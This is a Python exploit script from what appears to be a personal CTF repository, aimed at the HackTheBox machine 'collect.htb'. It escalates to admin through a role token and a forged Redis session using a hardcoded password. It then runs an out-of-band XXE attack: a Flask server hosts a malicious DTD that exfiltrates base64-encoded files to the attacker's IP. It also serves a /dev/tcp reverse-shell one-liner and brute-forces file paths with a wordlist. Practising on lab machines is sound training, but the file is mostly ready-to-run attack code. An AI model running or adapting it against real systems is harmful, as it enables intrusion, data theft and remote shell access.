Files
CTF/HTB/pollution/xxe.py
Simon 82b0759f1e init htb
old htb folders
2023-08-29 21:53:22 +02:00

310 lines
9.3 KiB
Python

import os
import sys
import time
from threading import Thread
import subprocess
import netifaces as ni
from flask import Flask
import requests, base64
import argparse
app = Flask(__name__)
_path = "index.php"
_phpsessionid = ""
_ip = ""
_gotReq = True
_searcher=None
_searching = False
_searcher = None
proxy = {'http':'http://127.0.0.1:8080'}
s = requests.session()
r = s.get('http://collect.htb/')
_phpsessionid = s.cookies.get('PHPSESSID')
r = s.post("http://collect.htb/register", data={'username': 'user', 'password': 'user'})
r = s.post("http://collect.htb/login", data={'username': 'user', 'password': 'user'})
r = s.post("http://collect.htb/set/role/admin", data={"token": "ddac62a28254561001277727cb397baf"})
r = s.post("http://collect.htb/set/role/admin", data={"token": ""})
print("Set to Admin")
import subprocess
# arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:{_phpsessionid}", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";']
arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:mntn7eua54uhar8d4rrhfjslsp", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";']
subprocess.call(arr)
print(f"USE: {_phpsessionid}")
parser = argparse.ArgumentParser()
parser.add_argument('--port', type=int, required=False, default=80)
args = parser.parse_args()
def is_port_in_use(port: int) -> bool:
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
return s.connect_ex((_ip, port)) == 0 or s.connect_ex(('127.0.0.1', port)) == 0
def getIP(nic):
try:
ip = ni.ifaddresses(nic)[ni.AF_INET][0]['addr']
print(f"Found IP {ip}")
return ip # should print "192.168.100.37"
except:
return ""
_ip = getIP('tun0')
while _ip == "":
print("Could not find IP address for VPN NIC")
interface = input("Please enter the interface name: ")
_ip = getIP(interface)
while is_port_in_use(args.port):
args.port += 1
import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
@app.route('/c')
def c():
return f"sh -i >& /dev/tcp/{_ip}/4444 0>&1"
@app.route('/xxe.dtd')
def xxe():
global _gotReq
_gotReq = True
return f"""<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource={_path}'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{_ip}:{args.port}/file/%file;'>">
%eval;
%exfiltrate;"""
@app.route('/file/<content>')
def file(content):
content = base64.b64decode(content).decode()
if content != "":
print(content)
t = _path.replace('../', '').replace('/', '.')
while t[0] == ".":
t = t[1:]
if 'target' not in os.listdir():
os.mkdir('target')
with open(f'target/{t}', "w+") as file:
file.writelines(content)
file.close()
return ""
def request(ip, id):
data = f"""manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{ip}:{args.port}/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/login</uri><user><username>user1</username><password>pass</password></user></root>"""
try:
requests.post("http://collect.htb/api",
headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'},
data=data)
except:
pass
pass
class Server(Thread):
port = 80
def __int__(self):
super(Server, self).__init__()
def setIP(self, ip):
self.ip = ip
def setPort(self, port):
self.port = port
def setServerObject(self, obj):
self.app = obj
def run(self) -> None:
try:
self.app.run(host=self.ip, port=self.port)
except Exception as e:
print(f"exception: {e}")
class Singleton:
"""
A non-thread-safe helper class to ease implementing singletons.
This should be used as a decorator -- not a metaclass -- to the
class that should be a singleton.
The decorated class can define one `__init__` function that
takes only the `self` argument. Also, the decorated class cannot be
inherited from. Other than that, there are no restrictions that apply
to the decorated class.
To get the singleton instance, use the `instance` method. Trying
to use `__call__` will result in a `TypeError` being raised.
"""
def __init__(self, decorated):
self._decorated = decorated
def instance(self):
"""
Returns the singleton instance. Upon its first call, it creates a
new instance of the decorated class and calls its `__init__` method.
On all subsequent calls, the already created instance is returned.
"""
try:
return self._instance
except AttributeError:
self._instance = self._decorated()
return self._instance
def __call__(self):
raise TypeError('Singletons must be accessed through `instance()`.')
@Singleton
class Searcher(Thread):
searcherapp = Flask("searcher")
startpath = "."
dirlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
file = ""
id = _phpsessionid
port = 12346
while is_port_in_use(args.port):
port += 1
_gotReq = False
_path = ""
def __int__(self):
super(Server, self).__init__()
@searcherapp.route('/xxe.dtd')
def searcher_xxe(self=_searcher):
s = Searcher.instance()
s._gotReq = True
return f"""<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource={s._path}'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{_ip}:{s.port}/file/%file;'>">
%eval;
%exfiltrate;"""
@searcherapp.route('/file/<content>')
def file(content):
global _searching
content = base64.b64decode(content).decode()
if content != "":
print(f"\nfound: {Searcher.instance()._path}\n")
print("> ")
t = Searcher.instance()._path.replace('../', '').replace('/', '.')
while t[0] == ".":
t = t[1:]
if 'target' not in os.listdir():
os.mkdir('target')
with open(f'target/{t}', "w+") as file:
file.writelines(content)
file.close()
_searching = False
return ""
def request(self, ip, id):
data = f"""manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{ip}:{self.port}/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/login</uri><user><username>user1</username><password>pass</password></user></root>"""
try:
requests.post("http://collect.htb/api",
headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'},
data=data)
except Exception as e:
print(e.with_traceback())
pass
def setup(self, file=None, id=None, startpath=None, dirlist=None):
if file: self.file = file
if startpath: self.startpath = startpath
if id: self.id = id
if dirlist: self.dirlist = dirlist
def setFile(self, file):
self.file = file
def setStartPath(self, startpath):
self.startpath = startpath
def setID(self, id):
self.id = id
def setDirlist(self, dirlist):
self.dirlist = dirlist
def run(self) -> None:
global _searching,_searcher
_searcher = self
s = Server()
s.setIP(_ip)
s.setPort(self.port)
s.setServerObject(self.searcherapp)
s.start()
time.sleep(0.5)
self.ar = []
_searching = True
self._gotReq = True
with open(self.dirlist) as dirs:
self.ar = dirs.read().split("\n")
for line in self.ar:
if not _searching:
print("Done searching")
return
self._path = str(f"{self.startpath}/{line}/{self.file}".replace("//", "/"))
while self._gotReq == False:
pass
self._gotReq = False
self.request(_ip, _phpsessionid)
pass
if __name__ == '__main__':
pid = os.getpid()
print(f"running on pid: {pid}")
print("starting flask server")
server = Server()
server.setIP(_ip)
server.setPort(args.port)
server.setServerObject(app)
server.start()
time.sleep(0.5)
print("Now input a path or 'exit', or 'search'")
while True:
_path = input("> ")
if _searching and _path == "q":
_searching = False
if _path == "exit":
subprocess.call(['kill', str(pid)])
exit(0)
elif _path == "search":
print("search file [startpath] [dirlist]")
print(
"example: search login.php ../../developers[default:''] /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[default]")
elif _path.split(" ")[0] == "search":
s = Searcher.instance()
s.setFile(_path.split(" ")[1])
s.setID(_phpsessionid)
if len(_path.split(" ")) >= 3:
s.setStartPath(startpath=_path.split(" ")[2])
if len(_path.split(" ")) >= 4:
s.setDirlist(dirlist=_path.split(" ")[3])
s.start()
time.sleep(0.5)
else:
request(_ip, _phpsessionid)